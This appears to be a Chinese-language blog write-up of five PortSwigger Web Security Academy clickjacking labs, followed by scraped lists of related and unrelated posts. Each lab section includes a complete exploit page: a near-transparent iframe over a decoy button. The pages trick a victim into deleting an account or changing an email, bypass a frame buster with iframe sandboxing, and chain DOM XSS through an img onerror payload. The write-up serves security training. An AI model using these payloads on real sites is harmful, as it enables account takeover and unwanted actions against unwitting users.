Portswigger web security academy:Clickjacking (UI redressing)

1 - Basic clickjacking with CSRF token protection

  • 题目描述

    • 登陆后可以删除账号,但是该功能点有csrf token保护
  • 要求

    • 让受害者删掉自己的账号
  • 解题过程

    • 因为要调CSS,就先用一下材料里给的代码看看(具体参数有问题,自己调整调整,显示没过,然后修改的时候提示solved。。。原本的参数没记下来)

      <head>
      <style>
      #target_website {
      position: relative;
      width: 1280px;
      height: 400px;
      opacity: 0.0000000000001;
      z-index: 2;
      }
      #decoy_website {
      position:absolute;
      top:575px;
      left:100px;
      z-index:1;
      }
      </style>
      </head>
      ...
      <body>
      <div id="decoy_website">
      click
      </div>
      <iframe id="target_website" src="https://ac411f1c1e3720d880aa0ddc00c8008d.web-security-academy.net/my-account">
      </iframe>
      </body>

2 - Clickjacking with form input data prefilled from a URL parameter

  • 题目描述

    • 没啥描述的
  • 要求

    • 利用预填充来修改用户邮箱
  • 解题过程

    • 访问/my-account?email=asd@asd.asd,发现邮箱被预填充进页面

    • 构造恶意页面,钓鱼(借助上一题的代码)

      <head>
      <style>
      #target_website {
      position: relative;
      width: 400px;
      height: 600px;
      opacity: 0.0000001;
      z-index: 2;
      }
      #decoy_website {
      position:absolute;
      top:525px;
      left:100px;
      z-index:1;
      }
      </style>
      </head>
      <body>
      <div id="decoy_website">
      Click me
      </div>
      <iframe id="target_website" src="https://ac131f121fdf9d78802b4cc1006300fb.web-security-academy.net/my-account?email=asd@asd.asd">
      </iframe>
      </body>

3 - Clickjacking with a frame buster script

  • 题目描述

    • 这个lab被frame buster保护着
  • 要求

    • 修改受害者邮箱
  • 解题过程

    • 材料里有说frame buster,大致意思就是只接受自己是最顶层网页(根节点),关于这个东西google上挺多的,[贴一个])(https://zhuanlan.zhihu.com/p/27310909)

    • 但是 iframe指定sandbox为allow-forms或者allow-scripts,且忽略allow-top-navigation会使iframe中的网页不知道自己是否是最顶层网页

    • 构造exp

      <head>
      <style>
      #target_website {
      position: relative;
      width: 400px;
      height: 600px;
      opacity: 0.0000001;
      z-index: 2;
      }
      #decoy_website {
      position:absolute;
      top:505px;
      left:100px;
      z-index:1;
      }
      </style>
      </head>
      <body>
      <div id="decoy_website">
      Click me
      </div>
      <iframe id="target_website" sandbox="allow-forms" src="https://ac741fe61e32394280fe03af00970035.web-security-academy.net/my-account?email=asd@asd.asd">
      </iframe>
      </body>

4 - Exploiting clickjacking vulnerability to trigger DOM-based XSS

  • 题目描述

    • 把Dom based XSS和Clickjacking结合起来
  • 要求

    • alert(document.cookie)
  • 解题过程

    • 首先找XSS,发现在feedback页面可以使用GET预填充参数,提交后,会把name直接打印出来

    • 构造exp

      <head>
      <style>
      #target_website {
      position: relative;
      width: 1000px;
      height: 1000px;
      opacity: 0.00000001;
      z-index: 2;
      }
      #decoy_website {
      position:absolute;
      top:805px;
      left:100px;
      z-index:1;
      }
      </style>
      </head>
      <body>
      <div id="decoy_website">
      Click me
      </div>
      <iframe id="target_website" src="https://ac2c1f701efa1dee807e67af00d40001.web-security-academy.net/feedback?name=%3Cimg/src=x%20onerror=alert(document.cookie)%3E&email=asd@asd.com&subject=asd&message=asd">
      </iframe>
      </body>

5 - Multistep clickjacking

  • 题目描述

    • 这个lab的账号相关的功能点被csrf token保护着,并且有一个确认对话框来防止点击劫持
  • 要求

    • 让受害者删除自己的账号
  • 解题过程

    • 多了个对话框。。。相比实际场景,不需要动态显示就很简单了

    • 上exp

      <head>
      <style>
      #target_website {
      position: relative;
      width: 1000px;
      height: 1000px;
      opacity: 0.0000001;
      z-index: 2;
      }
      #decoy_website_1 {
      position:absolute;
      top:495px;
      left:60px;
      z-index:1;
      }
      #decoy_website_2 {
      position:absolute;
      top:285px;
      left:190px;
      z-index:1;
      }
      </style>
      </head>
      <body>
      <div id="decoy_website_1">
      Click me first
      </div>
      <div id="decoy_website_2">
      Click me next
      </div>
      <iframe id="target_website" src="https://ac871f9f1e4e40b7801a875000290076.web-security-academy.net/my-account">
      </iframe>
      </body>

Portswigger web security academy:Clickjacking (UI redressing)的更多相关文章

  1. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  2. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  3. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  4. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  5. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  6. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

  7. Portswigger web security academy:OS command injection

    Portswigger web security academy:OS command injection 目录 Portswigger web security academy:OS command ...

  8. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  9. Portswigger web security academy:Server-side template injection(SSTI)

    Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...

随机推荐

  1. 越来越受欢迎的Vue想学么,90后小姐姐今儿来教你

    摘要:Vue的相关技术原理成为了前端岗位面试中的必考知识点,掌握 Vue 对于前端工程师来说更像是一门"必修课". 本文原作者为尹婷,擅长前端组件库研发和微信机器人. 我们发现, ...

  2. 二分法排序-Python实现

    有一个无序序列[37,99,73,48,47,40,40,25,99,51],先进行排序打印输出,分别尝试插入20/40/41 数值到序列中合适的位置,保证其有序. 1.for 循环实现 第一种实现, ...

  3. E - Recursive sequence HDU - 5950 (矩阵快速幂)

    题目链接:https://vjudge.net/problem/HDU-5950 思路: 构造矩阵,然后利用矩阵快速幂. 1 #include <bits/stdc++.h> 2 #inc ...

  4. 2018ICPC南京Problem G. Pyramid

    题意: 询问类似于这样的三角形中:里面正三角形的个数是多少. 思路:打表找了个规律发现就是C4n+3     1 //#include<bits/stdc++.h> 2 #include& ...

  5. 计算机图形学中使用Turbo C++画图步骤

    一.下载安装Turbo C++ 我安装的是Turbo C++ 3.2.2.0下载链接 二.画图 1.打开Turbo C++,点击右下角start turbo C++ 2.点击file ->new ...

  6. python-递归函数和内置函数笔记汇总

    1. def syz(*args)    #    *args  参数组 不必填,不限制参数的个数    参数组不常用 2.def sys2(**kwargs): #关键字参数 3.递归函数,  不常 ...

  7. 【linux】系统编程-3-system-V IPC 信号量

    目录 前言 5. 信号量 5.1 概念 5.2 工作原理 5.3 操作函数 5.3.1 semget() 5.3.2 semop() 5.3.3 semctl() 5.4 例程 参考: 前言 原文链接 ...

  8. frp穿透内网使用vsftpd服务

    本篇文章将会介绍如何使用frp穿透内网以及如何在centos8环境下安装和使用vsftpd,最后在公网通过frp穿透内网使用ftp. 一.内网穿透神器frp frp 是一个专注于内网穿透的高性能的反向 ...

  9. django+x-admin管理后台模板开发管理后台案例(设计部分)

    使用django+x-admin管理后台模板搭建管理后台 一.环境需求 1.django:3.1 2.python:3.7 3.x-admin:2.2 4.pycharm:2020.3.2 5.ubu ...

  10. 【Prolog - 1.0 基础语法与概念】

    [概述] Prolog的语法与其它常用语言(如C,JAVA等)不同,它更接近于自然语言. [实例] 当我想表示"Mia是以女人"这个事实(之后会提到事实这个概念)的时候,我可以这么 ...